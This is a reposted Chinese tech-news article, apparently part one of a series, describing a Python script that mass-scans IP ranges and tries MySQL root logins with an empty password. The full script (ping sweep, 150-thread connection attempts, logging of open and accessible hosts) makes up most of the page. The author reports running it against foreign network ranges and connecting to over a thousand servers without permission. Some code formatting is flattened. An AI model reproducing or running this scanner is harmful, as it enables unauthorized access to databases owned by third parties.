加入收藏 | 设为首页 | 会员中心 | 我要投稿 辽源站长网 (https://www.0437zz.com/)- 云专线、云连接、智能数据、边缘计算、数据安全!
当前位置: 首页 > 站长资讯 > 外闻 > 正文

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

发布时间:2019-01-29 05:39:51 所属栏目:外闻 来源:合天智汇
导读:01前言 一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。 02起因 这个脚本最开始的构思是

以下是此次的完整代码-4:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4. importMySQLdb 
  5. importthreading 
  6. importtime 
  7. importIPy 
  8. importsubprocess 
  9.  
  10. defmysql_connect1(ip): 
  11.  
  12. ifnot(ping_ip(ip)): 
  13. #printip,"down" 
  14. return 
  15. else: 
  16. #记录在线的ip 
  17. ip_log("ip_up.txt",ip,"") 
  18.  
  19. #尝试数据库连接 
  20. try: 
  21. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  22. cur=conn.cursor() 
  23.  
  24. #记录开放3306端口的ip 
  25. ip_log("port_connected.txt",ip,"") 
  26.  
  27. exceptMySQLdb.Error,e: 
  28. e= str(e) 
  29. #记录报错信息 
  30. printe 
  31.  
  32. r1= e.find('Can't connect') #端口未开放Mysql_Error:2003: Can't connect to MySQL server on '35.164.6.48' (10060) 
  33. r2= e.find('Access denied')  # 端口开放但密码错误 Mysql_Error:1045: Access denied for user 'root'@'localhost' (using password: YES) 
  34. r3= e.find('not allowed') #端口只允许特定ip连接 Mysql_Error:1130: Host '172.17.14.2' is not allowed to connect to this MySQLserver 
  35. #r3= e.find('Learn SQL!') #这限制特定了sql语句 
  36.  
  37. if(r1 != -1): 
  38. #排除端口不开放的情况 
  39. return 
  40.  
  41. elif(r2!= -1): 
  42. #ip_log('port_opend.txt',ip,"密码错误") 
  43. ip_log('port_opend.txt',ip,e) 
  44.  
  45. elif(r3!= -1): 
  46. #ip_log('port_opend.txt',ip , "不允许该IP连接") 
  47. ip_log('port_opend.txt',ip , e) 
  48. else: 
  49. #ip_log('port_opend.txt',ip, "其他错误") 
  50. ip_log('port_opend.txt',ip, e) 
  51.  
  52. return 
  53.  
  54. defping_ip(ip): 
  55. #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活 
  56.  
  57. cmd= 'ping -w 1 %s' % ip 
  58. p= subprocess.Popen(cmd, 
  59. stdin=subprocess.PIPE, 
  60. stdout=subprocess.PIPE, 
  61. stderr=subprocess.PIPE, 
  62. shell=True) 
  63.  
  64. result= p.stdout.read() 
  65. regex= result.find('100%') 
  66.  
  67. #未匹配到就是-1,就是存活主机 
  68. if(regex == -1): 
  69. return1 
  70. else: 
  71. return0 
  72.  
  73. def ip_log(txt_name,ip,content): 
  74. f1= open(txt_name, 'a') 
  75. f1.write(ip+ " " + content + "rn") 
  76. f1.close() 
  77.  
  78. if__name__ == "__main__": 
  79.  
  80. start= time.time() 
  81.  
  82. #设置同时运行的线程数 
  83. threads=150 
  84.  
  85. #要检测的IP网段 
  86. ip1= IPy.IP('192.168.0.0/16') 
  87.  
  88. forip in ip1:     
  89. ip=str(ip) 
  90. printip 
  91.  
  92. while(threading.activeCount()>threads): 
  93. time.sleep(1) 
  94. t1=threading.Thread(target=mysql_connect1,args=(ip,)) 
  95. t1.start() 
  96.  
  97. #当线程只剩1时,说明执行完了 
  98. while(threading.activeCount()!=1): 
  99. time.sleep(5) 
  100. print"检测结束" 

这里代码已经开始杂乱了,暂且放着。改完后测试扫描了米国某网段一个小时,发现现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线服务器。

(编辑:辽源站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读